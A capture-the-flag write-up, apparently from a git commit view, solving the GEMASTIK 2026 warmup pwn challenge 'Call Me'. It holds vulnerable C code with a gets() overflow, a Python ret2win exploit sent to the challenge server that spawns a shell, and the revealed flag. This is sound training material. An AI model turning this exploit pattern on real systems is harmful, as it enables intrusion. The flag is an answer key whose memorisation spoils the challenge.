asepharyana
0de2458955
- Deleted all 14 dummy docs from DB + filesystem - Created 14 Gemastik warmup writeups + index via create_document API (DB-first) - ch1-ch12: encoding/stego/web/pwn basics - ch13: RSA small factors - ch14: RSA special integers via paper-search (GCD with paper appendix primes) - All 15 docs indexed and live at wiki.asepharyana.my.id
1.4 KiB
1.4 KiB
title, type, section, status, author, tags, path, created_at, updated_at, event, challenge, category, points, difficulty, flag
| title | type | section | status | author | tags | path | created_at | updated_at | event | challenge | category | points | difficulty | flag | ||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Call Me — ret2win | writeup | writeups | published | asep |
|
writeups/gemastik-2026-warmup/ch10-call-me.md | 2026-08-21T07:25:43.282Z | 2026-08-21T07:25:43.282Z | GEMASTIK 2026 Warmup | Call Me — ret2win | pwn | 500 | easy | GEMASTIK19{r3t2w1n_l0mpat_k3_win} |
Call Me (500 pts) — Pwn / ret2win
Server: nc 15.232.89.109 9002
Source (chall.c):
void win() { system("/bin/sh"); } // flag printed inside
char buf[32];
gets(buf); // <-- overflow
Eksploitasi
- Compile lokal untuk dapatkan alamat
win():
gcc -fno-stack-protector -no-pie -o ch10 chall.c
nm ch10 | grep win
# 00000000004011f6 T win
- Overflow
buf[32]lalu timpa return address dengan alamatwin()(0x4011f6). Sisipkan saturetgadget (0x401016) untuk realign RSP agarmovapsdiwin/printftidak segfault:
import socket, time, struct
s = socket.socket()
s.connect(("15.232.89.109", 9002))
time.sleep(0.5)
RET_GADGET = 0x401016 # alignment
WIN_ADDR = 0x4011f6
payload = b"A" * 32 + b"B" * 8 + struct.pack("<Q", RET_GADGET) + struct.pack("<Q", WIN_ADDR)
s.sendall(payload + b"\n")
time.sleep(1.5)
print(s.recv(4096).decode())
# -> GEMASTIK19{r3t2w1n_l0mpat_k3_win}
Flag
GEMASTIK19{r3t2w1n_l0mpat_k3_win}